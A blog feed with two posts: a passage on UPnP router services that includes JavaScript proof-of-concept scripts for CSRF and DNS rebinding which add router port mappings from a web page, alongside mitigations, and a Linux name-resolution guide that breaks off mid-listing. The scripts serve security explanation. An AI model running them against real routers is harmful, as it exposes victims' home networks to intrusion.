<?xml version=\"1.0\"?>\n<root xmlns=\"urn:schemas-upnp-org:device-1-0\">\n <specVersion>\n <major>1</major>\n <minor>0</minor>\n </specVersion>\n <device>\n <pnpx:X_hardwareId xmlns:pnpx=\"http://schemas.microsoft.com/windows/pnpx/2005/11\">VEN_0129&DEV_0000&SUBSYS_03&REV_250407</pnpx:X_hardwareId>\n <pnpx:X_compatibleId xmlns:pnpx=\"http://schemas.microsoft.com/windows/pnpx/2005/11\">GenericUmPass</pnpx:X_compatibleId>\n <pnpx:X_deviceCategory xmlns:pnpx=\"http://schemas.microsoft.com/windows/pnpx/2005/11\">NetworkInfrastructure.Gateway</pnpx:X_deviceCategory>\n <df:X_deviceCategory xmlns:df=\"http://schemas.microsoft.com/windows/2008/09/devicefoundation\">Network.Gateway</df:X_deviceCategory>\n <deviceType>urn:schemas-upnp-org:device:InternetGatewayDevice:2</deviceType>\n <friendlyName>Orange Livebox</friendlyName>\n <manufacturer>Sagemcom</manufacturer>\n <manufacturerURL>http://www.sagemcom.com/</manufacturerURL>\n <modelName>Residential Livebox,(DSL,WAN Ethernet)</modelName>\n <UDN>uuid:e30681fd-9888-4c54-81f2-fc2f536561c1</UDN>\n <modelDescription>Sagemcom,fr,SG30_sip-fr-6.62.12.1</modelDescription>\n <modelNumber>3</modelNumber>\n <serialNumber>XXXXXXXXXXXX</serialNumber>\n <presentationURL>http://192.168.1.1</presentationURL>\n <UPC></UPC>\n <iconList>\n <icon>\n <mimetype>image/png</mimetype>\n <width>16</width>\n <height>16</height>\n <depth>8</depth>\n <url>/e30681fd/ligd.png</url>\n </icon>\n </iconList>\n <deviceList>\n <device>\n <deviceType>urn:schemas-upnp-org:device:WANDevice:2</deviceType>\n <friendlyName>Orange Livebox</friendlyName>\n <manufacturer>Sagemcom</manufacturer>\n <manufacturerURL>http://www.sagemcom.com/</manufacturerURL>\n <modelDescription>Sagemcom,fr,SG30_sip-fr-6.62.12.1</modelDescription>\n <modelName>Residential Livebox,(DSL,WAN Ethernet)</modelName>\n <modelNumber>3</modelNumber>\n <modelURL>http://www.sagemcom.com/</modelURL>\n <serialNumber>XXXXXXXXXXXX</serialNumber>\n <presentationURL>http://192.168.1.1</presentationURL>\n <UDN>uuid:276a23d7-a371-4fb2-a2c0-b6ba7ac0f0f7</UDN>\n <UPC></UPC>\n <serviceList>\n <service>\n <serviceType>urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1</serviceType>\n <serviceId>urn:upnp-org:serviceId:WANCommonIFC1</serviceId>\n <controlURL>/e30681fd/upnp/control/WANCommonIFC1</controlURL>\n <eventSubURL>/e30681fd/upnp/control/WANCommonIFC1</eventSubURL>\n <SCPDURL>/e30681fd/gateicfgSCPD.xml</SCPDURL>\n </service>\n </serviceList>\n <deviceList>\n <device>\n <deviceType>urn:schemas-upnp-org:device:WANConnectionDevice:2</deviceType>\n <friendlyName>Orange Livebox</friendlyName>\n <manufacturer>Sagemcom</manufacturer>\n <manufacturerURL>http://www.sagemcom.com/</manufacturerURL>\n <modelDescription>Sagemcom,fr,SG30_sip-fr-6.62.12.1</modelDescription>\n <modelName>Residential Livebox,(DSL,WAN Ethernet)</modelName>\n <modelNumber>3</modelNumber>\n <modelURL>http://www.sagemcom.com/</modelURL>\n <serialNumber>XXXXXXXXXXXX</serialNumber>\n <presentationURL>http://192.168.1.1</presentationURL>\n <UDN>uuid:fcc2812a-f1b8-444d-b48b-b179e162d33f</UDN>\n <UPC></UPC>\n <serviceList>\n <service>\n <serviceType>urn:schemas-upnp-org:service:WANIPConnection:2</serviceType>\n <serviceId>urn:upnp-org:serviceId:WANIPConn1</serviceId>\n <controlURL>/e30681fd/upnp/control/WANIPConn1</controlURL>\n <eventSubURL>/e30681fd/upnp/control/WANIPConn1</eventSubURL>\n <SCPDURL>/e30681fd/gateconnSCPD_IP.xml</SCPDURL>\n </service>\n <service>\n <serviceType>urn:schemas-upnp-org:service:WANIPv6FirewallControl:1</serviceType>\n <serviceId>urn:upnp-org:serviceId:WANIPv6FwCtrl1</serviceId>\n <controlURL>/e30681fd/upnp/control/WANIPv6FwCtrl1</controlURL>\n <eventSubURL>/e30681fd/upnp/control/WANIPv6FwCtrl1</eventSubURL>\n <SCPDURL>/e30681fd/wanipv6fwctrlSCPD.xml</SCPDURL>\n </service>\n </serviceList>\n </device>\n </deviceList>\n </device>\n </deviceList>\n </device>\n</root>\n
\nFor each service, we have:
\nEach service
is described by a XML document, the SCPD.\nThis document is located by the SCPDURL
element and looks like:
<?xml version=\"1.0\"?>\n<scpd xmlns=\"urn:schemas-upnp-org:service-1-0\">\n <specVersion>\n <major>1</major>\n <minor>0</minor>\n </specVersion>\n <actionList>\n <!-- ... -->\n <action>\n <name>AddPortMapping</name>\n <argumentList>\n <argument>\n <name>NewRemoteHost</name>\n <direction>in</direction>\n <relatedStateVariable>RemoteHost</relatedStateVariable>\n </argument>\n <argument>\n <name>NewExternalPort</name>\n <direction>in</direction>\n <relatedStateVariable>ExternalPort</relatedStateVariable>\n </argument>\n <argument>\n <name>NewProtocol</name>\n <direction>in</direction>\n <relatedStateVariable>PortMappingProtocol</relatedStateVariable>\n </argument>\n <argument>\n <name>NewInternalPort</name>\n <direction>in</direction>\n <relatedStateVariable>InternalPort</relatedStateVariable>\n </argument>\n <argument>\n <name>NewInternalClient</name>\n <direction>in</direction>\n <relatedStateVariable>InternalClient</relatedStateVariable>\n </argument>\n <argument>\n <name>NewEnabled</name>\n <direction>in</direction>\n <relatedStateVariable>PortMappingEnabled</relatedStateVariable>\n </argument>\n <argument>\n <name>NewPortMappingDescription</name>\n <direction>in</direction>\n <relatedStateVariable>PortMappingDescription</relatedStateVariable>\n </argument>\n <argument>\n <name>NewLeaseDuration</name>\n <direction>in</direction>\n <relatedStateVariable>PortMappingLeaseDuration</relatedStateVariable>\n </argument>\n </argumentList>\n </action>\n <!-- ... -->\n </actionList>\n <serviceStateTable>\n <!-- ... -->\n </serviceStateTable>\n</scpd>\n
\nEach available action on the service is defined by:
\n<direction>in</direction>
);<direction>out</direction>
);.The serviceStateTable
element contains the set of state variables\nwhich are susceptible to be monitored using UPnP eventing.
Calling a UPnP action is done using SOAP/1.1[2]\nover HTTP POST\nusing the URI indicated in the controlURL
element:
POST /e30681fd/upnp/control/WANIPConn1 HTTP/1.1\nHost: 192.168.1.1:60000\nContent-Type: text/xml; charset=utf-8\nContent-Lenght: ...\nSOAPAction: \"urn:schemas-upnp-org:service:WANIPConnection:2#AddPortMapping\n
\n<?xml version=\"1.0\u2033 encoding=\"utf-8\u2033?>\n<s:Envelope s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\n xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <s:Body>\n <u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:2\">\n <NewRemoteHost></NewRemoteHost>\n <NewExternalPort>9999</NewExternalPort>\n <NewProtocol>TCP</NewProtocol>\n <NewInternalPort>9999</NewInternalPort>\n <NewInternalClient>192.168.1.16</NewInternalClient>\n <NewEnabled>1</NewEnabled>\n <NewPortMappingDescription>Test</NewPortMappingDescription>\n <NewLeaseDuration>240</NewLeaseDuration>\n </u:AddPortMapping>\n </s:Body>\n</s:Envelope>\n
\nNotes:
\nserviceType
and the action name
;Content-Type
is expected to be text/xml; charset=utf-8
[3];Body
is the action name
and its namespace is the serviceType
;The response is a SOAP response following the same pattern:
\nHTTP/1.1 200 OK\nCONTENT-LENGTH: ...\nCONTENT-TYPE: text/xml; charset=\"utf-8\"\nDATE: Sat, 18 Jul 2020 10:49:38 GMT\nEXT:\nSERVER: Unspecified, UPnP/1.0, SoftAtHome\n\n<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\"\n s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n <s:Body>\n <u:AddPortMappingResponse xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:2\">\n </u:AddPortMappingResponse>\n </s:Body>\n</s:Envelope>\n
\nEventing, allows for a client to get notifications when\nthe values of the states variables change.\nThe list of state variables is declared in the serviceStateTable
element of the SCPD.\nEventing on UPnP 1.0 is based on General Event Notification Architecture (GENA)\nand use the SUBSCRIBE
, UNSUBSCRIBE
and NOTIFY
methods.\nThis is not covered in this post.
If the service does not validate the Content-Type
and the SOAPAction
headers\nof the UPnP request, the service might be vulnerable to CSRF attacks.
We can check this type of attacks from another origin with a script such as:
\nfetch(\"/control/wan_ip_connection\", {\n mode: \"no-cors\",\n method: \"POST\",\n headers: {\n \"Content-Type\": \"text/plain\",\n },\n body: `<?xml version=\"1.0\u2033 encoding=\"utf-8\u2033?>\n <s:Envelope s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\" xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <s:Body>\n <u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\">\n <NewRemoteHost></NewRemoteHost>\n <NewExternalPort>9999</NewExternalPort>\n <NewProtocol>TCP</NewProtocol>\n <NewInternalPort>9999</NewInternalPort>\n <NewInternalClient>192.168.0.12</NewInternalClient>\n <NewEnabled>1</NewEnabled>\n <NewPortMappingDescription>Test</NewPortMappingDescription>\n <NewLeaseDuration>240</NewLeaseDuration>\n </u:AddPortMapping>\n </s:Body>\n </s:Envelope>`\n});\n
\nIn CSRF attacks, the attacker cannot get the response.\nIf all the UPnP actions are readonly (do not have any side-effect),\nthe vulnerability may not have any impact in practice.
\nThe service can prevent this type of attacks either:
\nContent-Type
header of the UPnP request;SOAPAction
header of the UPnP request;The latter approach can be seen in the previous examples taken from the OrangeBox.
\nIf the service does not validate the Host
header, the service might be\nvulnerable to DNS rebinding attacks.
function sleep(delay)\n{\n return new Promise((resolve, reject) => {\n setTimeout(resolve, delay);\n });\n}\nasync function main()\n{\n while(true) {\n const response = await fetch(\"/control/wan_ip_connection\", {\n method: \"POST\",\n headers: {\n \"Content-Type\": \"text/xml; charset=utf-8\",\n \"SOAPAction\": '\"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\"',\n },\n body: `<?xml version=\"1.0\u2033 encoding=\"utf-8\u2033?>\n <s:Envelope s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\" xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <s:Body>\n <u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\">\n <NewRemoteHost></NewRemoteHost>\n <NewExternalPort>9999</NewExternalPort>\n <NewProtocol>TCP</NewProtocol>\n <NewInternalPort>9999</NewInternalPort>\n <NewInternalClient>192.168.0.12</NewInternalClient>\n <NewEnabled>1</NewEnabled>\n <NewPortMappingDescription>Test</NewPortMappingDescription>\n <NewLeaseDuration>240</NewLeaseDuration>\n </u:AddPortMapping>\n </s:Body>\n </s:Envelope>`\n });\n if (response.status == 200) {\n alert(\"DONE!\")\n return;\n }\n await sleep(1000);\n }\n}\nmain()\n
\nIn contrast to CSRF attacks:
\nContent-Type
and SOAPAction
headers;The service can prevent this type of attacks either:
\nHost
header (it should only accept IP addresses);Origin
header (but this only works with modern browsers which means the Host
header should be validated anyway);Normative references:
\n\nOther documentations:
\nOther vulnerability classes:
\nSUBSCRIBE
method (eventing) for SSRFSome vulnerabilities:
\n\nThe UUIDs and URI prefixes have been changed for security reasons \ud83d\ude0a. \u21a9\ufe0e
\nNot SOAP 1.2. \u21a9\ufe0e
\nNot application/json
which is now\nthe standard Content-Type
for XML content.\nNot application/soap+xml
which is used for SOAP 1.2. \u21a9\ufe0e
I am not certain that using unpredictable URIs as a sole mitigation is a great idea.\nIf an attacker gets access to your LAN once, he can get the unpredictable URIs.\nUnless these unpredictable URIs change frequently,\nthe attacker can then conduct targeted CSRF and DNS rebinding attacks\nwhile outside of your network.\nMoreover, people tend to paste these URIs\non technical forums (for example by pasting device description files). \u21a9\ufe0e \u21a9\ufe0e
\nThis post describes different software components\ninvolved in host name resolutions and DNS configuration on GNU/Linux systems.\nIt consists of a diagram and some accompanying explanations.\nThe goal is to give some pointers and references to understand\nhow to troubleshoot host name/DNS resolution problems\nand configuration problems on GNU/Linux systems.
\nHere is a diagram of how host name resolution works on GNU/Linux systems:
\n\n\ud83d\ude05
\nMost programs call functions from the C library (libc)\nfor host name resolution:
\ngetaddrinfo()
is used to resolve host names to IP addresses.getnameinfo()
is used to resolve IP addresses to host names.Other deprecated functions such as gethostbyname*()
and gethostbyaddr*()
\ncan be used as well.
The libc starts the host name resolution\nby trying to resolve the requested host name\nas a host alias.\nThis step is optional: if the HOSTALIASES
environment variable is set,\nit is considered to be the path to a file containing host aliases definitions.\nIf the libc finds the requested name in the host alias file,\nthe aliased name is used instead of the alias for the following steps.
A host alias file might look like:
\n\nexample www.example.com\n\n
Note: the alias cannot contain any dot.
\n$ echo 'example www.example.com' > ./host_aliases\n$ HOSTALIASES=\"./host_aliases\" getent hosts example\n93.184.216.34 www.example.com\n
\nThe GNU libc uses a system of plugins,\nName Service Switch (NSS),\nfor host name resolution[1].\nThe GNU libc finds a list of NSS plug-in modules\nto use in the /etc/nsswitch.conf
file.
The traditional/minimal plug-in module list is:
\n\nhosts: files dns\n\n
In this example,
\nfiles
module,\nwhich uses static name/address mappings defined in the /etc/hosts
file;dns
module,\nwhich queries the resolvers listed in /etc/resolv.conf
using the DNS protocol.A more featureful plug-in module list might look like:
\n\nhosts: files mdns4_minimal [NOTFOUND=return] resolve [!UNAVAIL=return] dns myhostname\n\n
Each plug-in module is implemented as a shared library.\nThis shared library is dynamically loaded (dlopen()
)\nby the libc.\nFor example, the foo
module would be implemented by a libnss_foo.so.2
shared object[2].
Package | \nPlug-in module | \nDescription | \n
---|---|---|
glibc | \nfiles | \nStatic address/name mappings defined in /etc/hosts | \n
glibc | \ndns | \nDNS resolution (based on /etc/resolv.conf ) | \n
Avahi | \nmdns_minimal | \nmDNS resolution for foo.local using Avahi | \n
Avahi | \nmdns4_minimal | \nmDNS resolution for foo.local using Avahi (IPv4 only) | \n
Avahi | \nmdns6_minimal | \nmDNS resolution for foo.local using Avahi (IPv6 only) | \n
Avahi | \nmdns | \n\n |
Avahi | \nmdns4 | \n\n |
Avahi | \nmdns6 | \n\n |
systemd | \nresolve | \ndelegate to the systemd-resolved daemon over D-Bus | \n
systemd | \nmyhostname | \nresolve current host name to host address, etc. | \n
systemd | \nmymachines | \nresolve machines of local Virtual Machines (VMs) registered with systemd-machined | \n
lwresd | \nlwres | \ndelegate to a local lwresd (caching resolver) | \n
files
)The files
plug-in module implements static name/address mappings.\nThese static mappings are defined in the /etc/hosts
file.
A typical value for this file is:
\n\n127.0.0.1\tlocalhost\n127.0.1.1\tmy-host-name\n\n# The following lines are desirable for IPv6 capable hosts\n::1 localhost ip6-localhost ip6-loopback\nff02::1 ip6-allnodes\nff02::2 ip6-allrouter\n\n
mdns[4,6]_minimal
)The mdns_minimal
plug-in module implements Multicast DNS (mDNS) name resolution.\nIt only resolves names in the local
domain (eg. foo.local
):\nthese names are expected to be announced by machines\non the local network using mDNS.
The mdns4_minimal
and mdns6_minimal
modules are variants which\nonly work for IPv4 and IPv6 respectively.
We can test mDNS resolution through Avahi with:
\navahi-resolve-host-name -4 marvin.local\navahi-resolve-host-name -6 marvin.local\n
\nThese modules delegate to the Avahi[3] system daemon.\nThey communicate over the /run/avahi-daemon/socket
Unix socket using a custom line-oriented protocol:
$ echo 'RESOLVE-HOSTNAME foo.local' | socat STDIO UNIX:/run/avahi-daemon/socket\n+ 5 0 foo.local 192.0.2.42\n
\nsystemd-resolved
(resolve
)The resolve
plug-in module\ndelegates host name resolution to a local\nsystemd-resolved
daemon.\nThe features of systemd-resolved are explained afterwards but include:\nmDNS, LLMNR, caching, etc.
The plugin and the systemd-resolved
daemon communicate over D-Bus.\nThey use the ResolveHostname()
method of the org.freedesktop.resolve1.Manager
interface:
node /org/freedesktop/resolve1 {\n interface org.freedesktop.resolve1.Manager {\n methods:\n ResolveHostname(in i ifindex,\n in s name,\n in i family,\n in t flags,\n out a(iiay) addresses,\n out s canonical,\n out t flags);\n // ...\n }\n}\n
\nWe can test host name resolution through systemd-resolved
with:
resolvectl -4 query www.example.com\nresolvectl -6 query www.example.com\nsystemd-resolve -4 www.example.com\nsystemd-resolve -6 www.example.com\n
\nNote:\nIf for some reason, a program cannot communicate to systemd-resolved
,\nthrough D-Bus (for example because it does not use NSS), it can still\nmake queries to systemd-resolved
using the DNS protocol.\nsystemd-resolved
listens on 127.0.0.53
(TCP and UDP ports 53).\nWhen systemd-resolved is enabled, this IP address is usually configured in /etc/resolv.conf
;\ntherefore, the dns
module or any other software relying on /etc/resolv.conf
\nwill end up communicating to systemd-resolved using the standard DNS protocol.
lwres
)The lwres
plug-in module implements system-wide caching for DNS resolutions.\nIt communicates with an associated system daemon (lwresd
).\nThis daemon is a caching daemon (based on BIND)\nwhich forwards the queries to the resolvers\ndefined in the /etc/resolv.conf
file (not through NSS) and caches the answers.
dns
)The dns
plug-in module implements host name resolution using the\nstandard DNS protol.\nThis plug-in module uses the /etc/resolv.conf
file\nto find a list of resolvers to communicate to.\nThese resolvers might be local resolvers such as dnsmasq, unbound or systemd-resolved\nor remote resolvers.
myhostname
The myhostname
plug-in module\nresolves the name of the machine and localhost
.\nThese are traditionnaly handled by the files
module.
In addition, this module handles:
\nlocalhost
domain (eg. foobar.localhost
) as mandated by RFC6761;_gateway
as the IP addresses of the default gateways.All these are also resolved by systemd-revolved
.\nThe myhostname
module is supposed to be useful as a fallback\nif systemd-resolved
is unavailable.
The GNU C library includes builtin support for an optional daemon,\nthe Name Service Cache Daemon (NSCD),\nfor caching all NSS requests (not only host names resolutions).\nWhen enabled, it listens on the /run/nscd/socket
Unix socket.
This features is not implemented as a NSS plug-in module.\nThe GNU C library always tries to contact this service for NSS requests\nbefore going through the NSS plug-in modules.
\nThe NSCD daemon itself uses the NSS plug-in modules declared in /etc/nsswitch.conf
.
This daemon is usually not installed and is apparently\nnot very stable.
\nresolv.conf
filesThe /etc/resolv.conf
file defines which resolvers are used\nby the dns
NSS module (with the nameserver
directive).
It can contain:
\nnameserver
directive);search
directive);options
directive) such as,\n\nsortlist
directive).Example of revolv.conf
file:
\nnameserver 10.0.0.42\nnameserver 10.0.1.42\n\n
The programs which manage the network configuration (DHCP clients, VPN programs)\nusually want to reconfigure this file somehow.
\nresolvconf
interfaceIn order to avoid inconsistent state of the /etc/resolv.conf
file resulting\nfrom different programs trying to configure it,\nthe resolvconf
program can be used.\nThe idea is that different programs can register domain name configurations\nassociated to different network interfaces and resolvconf
\nmerges them in a a resolv.conf
file.
When resolvconf
is installed,\n/etc/resolv.conf
is typically a symlink to /run/resolvconf/resolv.conf
:
resolvconf
manages /run/resolvconf/resolv.conf
directly;/etc/resolv.conf
is either a symlink to /run/resolvconf/resolv.conf
\nor to another file (if some local resolver suh as unbound is running).A component of the system can\nregister a DNS configuration for an interface\nby sending some\nresolv.conf
directives to the standard input of a resolvconf -a IFACE
command:
resolvconf -a eth0.dhclient << EOF\nnameserver 10.0.0.42\nnameserver 10.0.1.42\nEOF\n
\nThe configuration for an interface is unregistered with:
\nresolvconf -d eth0.dhclient\n
\nMany programs can use this interface (usually through hooks):
\ndhclient
) can configure the resolvers received by DHCP.pppd
) can configures resolvers advertised by the peer.ifup
/ifdown
can configure the resolvers which are declared statically in interfaces
files.See below for some details about this.
\nThere are several (at least three) implementations of this program:
\nresolvconf
;openresolv
;systemd-resolve
.resolvconf
The /etc/resolvconf/interface-order
file\ndefines a priority of interfaces.\nInterfaces listed first in this file will have higher priority.\nTheir DNS configuration (eg. DNS servers) will have precedence over the other ones.\nThis ensures (for example) that resolvers\nconfigured from VPN interfaces (tun*
, tap*
)\noverride resolvers configured from Ethernet or Wifi interfaces.
\n # interface-order(5)\n lo.inet6\n lo.inet\n lo.@(dnsmasq|pdnsd)\n lo.!(pdns|pdns-recursor)\n lo\n tun*\n tap*\n hso*\n em+([0-9])?(_+([0-9]))*\n p+([0-9])p+([0-9])?(_+([0-9]))*\n @(br|eth)*([^.]).inet6\n @(br|eth)*([^.]).ip6.@(dhclient|dhcpcd|pump|udhcpc)\n @(br|eth)*([^.]).inet\n @(br|eth)*([^.]).@(dhclient|dhcpcd|pump|udhcpc)\n @(br|eth)*\n @(ath|wifi|wlan)*([^.]).inet6\n @(ath|wifi|wlan)*([^.]).ip6.@(dhclient|dhcpcd|pump|udhcpc)\n @(ath|wifi|wlan)*([^.]).inet\n @(ath|wifi|wlan)*([^.]).@(dhclient|dhcpcd|pump|udhcpc)\n @(ath|wifi|wlan)*\n ppp*\n *\n\n
Some packages include a script (in /etc/resolvconf/update-libc.d/
)\nto be notified of DNS configuration updates\nthrough resolvconf
.
/etc/resolvconf/update-libc.d/avahi-daemon
/etc/resolvconf/update-libc.d/fetchmail
/etc/resolvconf/update-libc.d/postfix
/etc/resolvconf/update-libc.d/sendmail
/etc/resolvconf/update-libc.d/squid
/etc/resolvconf/update-libc.d/squid-deb-prox
Openresolv\nis an alternative implementation of resolvconf
with additional features.
In addition to configuring resolv.conf
,\nit has support for configuring local resolvers instead:\ndnsmasq, named, PowerDNS Recursor, pdnsd and unbound\nare supported.
It has additional command-line options.
\nThe metric option (-m
) can be used to tweak the precedence of interfaces.
When the exclusive (-x
) flag is used,\nthe configuration of the interface\noverride all other configurations instead of being stacked (merged) on top of them.
When the private flag (-p
) is used, the resolvers configured for this\ninterface are only used for querying host names below the domain associated\nwith this interface.\nThis does not work when configuring revolv.conf
but only when configuring\na local resolver which supports it.
It has a dedicated configuration file,\n/etc/resolvconf.conf
.\nOf special interest are these configuration options:
interface_order
and dynamic_order
for tweaking priority;inclusive_interfaces
for tweaking -x
;private_interfaces
and public_interfaces
for tweaking -p
;search_domains
, search_domains_append
and domain_blacklist
for tweaking search domains;name_servers_append
, name_server_blacklist
and prepend_nameservers
for tweaking name servers.resolvectl
working as resolvconf
resolvectl
implements the resolvconf
interface as well\n(when called as resolvconf
).\nInstead of directly configuring /run/resolvconf/resolv.conf
,\nit configures systemd-resolved
(see below).
Note: on my Debian systems there is no symlink from resolvconf
to resolvectl
.
This implementation has (partial) support for the exclusive\nflag (-x
).
It could probably support -p
as well because systemd-resolved has support\nfor this concept.
The systemd-resolved
\ndaemon is a client for:
foo.local
host names;It additionnaly implements:
\nIt can be queried:
\n127.0.0.53:53
on UDP and TCP).When systemd-resolved
is used, /etc/resolv.conf
is usually[7]\na symlink to /run/systemd/resolve/stub-resolv.conf
which will look like:
nameserver 127.0.0.53\noptions edns0\n
\nThis ensures that:
\n/etc/resolv.conf
will use systemd-resolved
as a resolver;resolve
plug-in module will still communicate to systemd-resolved
[8].Both openresolv
and resolvconf
provide hooks for configuring\nresolv.conf
based on static DNS configuration from\n/etc/network/interfaces
and /etc/network/interfaces.d/*
.
The hooks shipping with resolvconf
\nhandle the following directives\n(which set the corrresponding resolv.conf
directives):
dns-domain
dns-search
dns-sortlist
dns-nameservers
\niface vlan10 inet static\n address 10.0.0.0/24\n network 10.10.0.0\n broadcast 10.0.0.255\n dns-nameservers 10.0.0.42\n
pppd
can configure DNS resolution through resolvconf
using hooks.
dhclient
can configure DNS resolution through resolvconf
using hooks.
/etc/dhcp/dhclient-enter-hooks.d/resolvconf
from openresolv;/etc/dhcp/dhclient-enter-hooks.d/resolvconf
from resolvconf.An OpenVPN server can send DNS configuration to its clients\n(eg. with --dhcp-option DNS 10.0.0.42
).
On Windows, the OpenVPN client can use this DNS configuration\nto change the DNS configuration on the system.\nOn other systems, there is not builtin support for changing the system DNS configuration.\nInstead, the OpenVPN client must delegate DNS configuration to a hook[9].
\nThe hook must be explicitly enabled:
\nTwo such scripts are available on Debian:
\nupdate-resolv-conf
for resolvconf
;update-systemd-resolved
for systemd-resolved
.openvpn $other_arguments \\\n --script-security 2 \\\n --up /etc/openvpn/script/update-resolv-conf \\\n --down /etc/openvpn/script/update-resolv-conf \\\n --down-pre\n
\n# [...]\nscript-security 2\nup /etc/openvpn/script/update-resolv-conf\ndown /etc/openvpn/script/update-resolv-conf\ndown-pre\n
\nupdate-resolv-conf
DNS
DOMAIN-SEARCH
/DOMAIN
update-resolv-resolved
See README:
\nDNS
/DNS6
, resolverDOMAIN-ROUTE
, use the resolvers configured for this interface to resolve the names under these domainsDOMAIN-SEARCH
, use the resolvers configured for this interface to resolve the names under these domains and add them to the search listDOMAIN
/ADAPTER_DOMAIN_SUFFIX
, similar to DOMAIN_SEARCH
DNSSEC
, control whether DNSSEC should be enabled for these resolversNetworkManager\ncan configure DNS resolution using:
\nThere are several mode of operations based on its\nconfiguration\n(depending on the dns
and rc-manager
directives):
resolv.conf
directly;resolvconf
;netconfig
;dnsmasq
;systemd-resolved
;unbound
;When using the resolvconf
method, NetworkManager registers its DNS\nconfiguration to resolvconf
using a fake network interface\ncalled NetworkManager
.
This section contain a (non-exhaustive) list\nof programs which do not (always) rely on the libc functions\n(and hence NSS plug-in modules) for host name resolution.
\nFirefox can be configured\nto do DNS over HTTPS (DoH).\nWhen enabled (configured with network.trr.mode
),\nDNS resolution does not go through the libc, /etc/resolv.conf
, etc.\nIn this mode, Firefox uses a DNS-over-HTTPS resolver coming from its\nconfiguration (configured with network.trr.custom_uri
).
Chrome/Chromium has experimental support for DNS-over-HTTPS\n(see chrome://flags/#dns-over-https
).\nCurrently (2020-04-15), it is listed as available on\nMac, Windows, Chrome OS and Android only.
DNS clients such as dig
do not use the libc for name resolution\nbut make direct DNS requests (based on /etc/resolv.conf
).
Programs linked statically against the GNU libc\nstill load NSS the plug-in modules dynamically.\nIt is apparently possible to disable this feature:\nin this case, only the files
and nss
modules will be\nincluded (statically) in the binary.
On a multi-arch system, if the NSS plug-in modules are not installed for all architectures,\nthe behavior will not be consistent depending on the architecture of the program.
\nOn Debian-based systems, we can check which NSS modules are installed with:
\naptitude search '^libnss-!dbgsym~i'\n
\nYou might need to enable a hook for applying the DNS configuration\npulled from the OpenVPN server.
\nThis might happen if you are contacting the resolver from\nthe wrong network interface (using the wrong route, from the\nwrong source IP address).
\nMost recursive resolvers are not opened to the internet\n(they are not open resolvers)\nbut are only available from a restricted set of IP addresses:\nyou usally can only use the recursive resolver of the FooBar ISP\nfrom the FooBar network.
\nIn you are using a VPN, two variants of this problem might happen:
\nThis can be a problem:
\nYou should check:
\nresolv.conf
, resolvectl
, etc.);ip route get $nameserver
).When using a VPN to connect to some intranet,\nif the internal (intranet) host names are not resolved\n(but other external host names are correctly resolved),\nthis is probably because you need to use the intranet resolvers\nfor resolving these host names (split DNS).\nYou should check which resolvers are configured.
\nIf the internal resolvers are correctly configured,\nthe problem might be that your are reaching the resolver with the wrong\nnetwork interface (from the wrong IP address).\nYou should check which route is used to reach the resolvers:
\nip route get $nameserver\n
\nCheck which NSS plug-in modules are enabled:
\ncat /etc/nsswitch.conf | grep ^hosts:\n
\nCheck which NSS plug-in modules are installed:
\nls -l /lib/libnss_* /lib/*/libnss_*\n
\n\nls: cannot access '/lib/libnss_*': No such file or directory\n-rw-r--r-- 1 root root 38696 10 oct. 21:54 /lib/i386-linux-gnu/libnss_compat-2.31.so\nlrwxrwxrwx 1 root root 38 10 oct. 21:54 /lib/i386-linux-gnu/libnss_compat.so -> /lib/i386-linux-gnu/libnss_compat.so.2\nlrwxrwxrwx 1 root root 21 10 oct. 21:54 /lib/i386-linux-gnu/libnss_compat.so.2 -> libnss_compat-2.31.so\n-rw-r--r-- 1 root root 22060 10 oct. 21:54 /lib/i386-linux-gnu/libnss_dns-2.31.so\nlrwxrwxrwx 1 root root 35 10 oct. 21:54 /lib/i386-linux-gnu/libnss_dns.so -> /lib/i386-linux-gnu/libnss_dns.so.2\nlrwxrwxrwx 1 root root 18 10 oct. 21:54 /lib/i386-linux-gnu/libnss_dns.so.2 -> libnss_dns-2.31.so\n-rw-r--r-- 1 root root 50812 10 oct. 21:54 /lib/i386-linux-gnu/libnss_files-2.31.so\nlrwxrwxrwx 1 root root 37 10 oct. 21:54 /lib/i386-linux-gnu/libnss_files.so -> /lib/i386-linux-gnu/libnss_files.so.2\nlrwxrwxrwx 1 root root 20 10 oct. 21:54 /lib/i386-linux-gnu/libnss_files.so.2 -> libnss_files-2.31.so\n-rw-r--r-- 1 root root 22080 10 oct. 21:54 /lib/i386-linux-gnu/libnss_hesiod-2.31.so\nlrwxrwxrwx 1 root root 38 10 oct. 21:54 /lib/i386-linux-gnu/libnss_hesiod.so -> /lib/i386-linux-gnu/libnss_hesiod.so.2\nlrwxrwxrwx 1 root root 21 10 oct. 21:54 /lib/i386-linux-gnu/libnss_hesiod.so.2 -> libnss_hesiod-2.31.so\n-rw-r--r-- 1 root root 17852 29 sept. 11:31 /lib/i386-linux-gnu/libnss_mdns4_minimal.so.2\n-rw-r--r-- 1 root root 17852 29 sept. 11:31 /lib/i386-linux-gnu/libnss_mdns4.so.2\n-rw-r--r-- 1 root root 17852 29 sept. 11:31 /lib/i386-linux-gnu/libnss_mdns6_minimal.so.2\n-rw-r--r-- 1 root root 17852 29 sept. 11:31 /lib/i386-linux-gnu/libnss_mdns6.so.2\n-rw-r--r-- 1 root root 17852 29 sept. 11:31 /lib/i386-linux-gnu/libnss_mdns_minimal.so.2\n-rw-r--r-- 1 root root 17852 29 sept. 11:31 /lib/i386-linux-gnu/libnss_mdns.so.2\nlrwxrwxrwx 1 root root 23 18 oct. 10:56 /lib/i386-linux-gnu/libnss_nisplus.so.2 -> libnss_nisplus.so.2.0.0\n-rw-r--r-- 1 root root 58912 18 oct. 10:56 /lib/i386-linux-gnu/libnss_nisplus.so.2.0.0\nlrwxrwxrwx 1 root root 19 18 oct. 10:48 